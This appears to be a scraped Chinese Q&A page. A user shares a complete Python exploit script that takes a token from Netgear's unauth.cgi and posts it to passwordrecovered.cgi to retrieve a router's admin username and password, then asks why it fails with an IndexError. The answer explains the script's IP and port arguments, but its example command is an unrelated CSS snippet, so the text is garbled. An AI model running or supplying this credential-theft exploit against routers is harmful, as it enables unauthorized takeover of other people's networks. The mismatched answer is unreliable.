Question

我最近发现了一个python脚本来测试Netgear路由器的密码安全性。代码不是我的，我无法弄清楚它在运行时返回错误的原因。它是由一位经验丰富的编码员发布的：

## netgore.py
import sys
import requests

def scrape(text, start_trig, end_trig):
        if text.find(start_trig) != -1:
                return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
        else:
                return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
        r = requests.get(url)
except:
        url = 'https://' + ip + ':' + port + '/'
        r = requests.get(url, verify=False)
        model = r.headers.get('WWW-Authenticate')
if model is not None:
        print("Attcking: " + model[13:-1])
else:
        print("not a netgear router")
        sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
        print("not vulnerable")
        sys.exit(0)
print("token found: " + token)
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
        username = (repr(scrape(r.text, 'Router Admin Username</td>', 
'</td>')))
        username = scrape(username, '>', '\'')
        password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
        password = scrape(password, '>', '\'')
        if username == "i_dont_speak_english":
                username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
                password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
        print("not vulnerable becuse password recovery IS set")
        sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("&#35;","#")
password = password.replace("&#38;","&")
print("user: " + username)
print("pass: " + password)

返回错误

line 14, in <module>
ip = sys.argv[1]
IndexError: list index out of range

我已阅读有关索引错误的其他帖子，但无法在此处查看原因。非常感谢。

Answer 1

您需要使用命令行调用该文件：

 select {
     overflow-x: scroll;
 }

提供的ip应该用路由器的ip替换，端口用连接所需的端口替换。

sys.argv请求文件的参数，[1]是提供的第一个参数，即ip地址，[2]是第二个参数，即端口。

路由器脚本索引错误

1 个答案: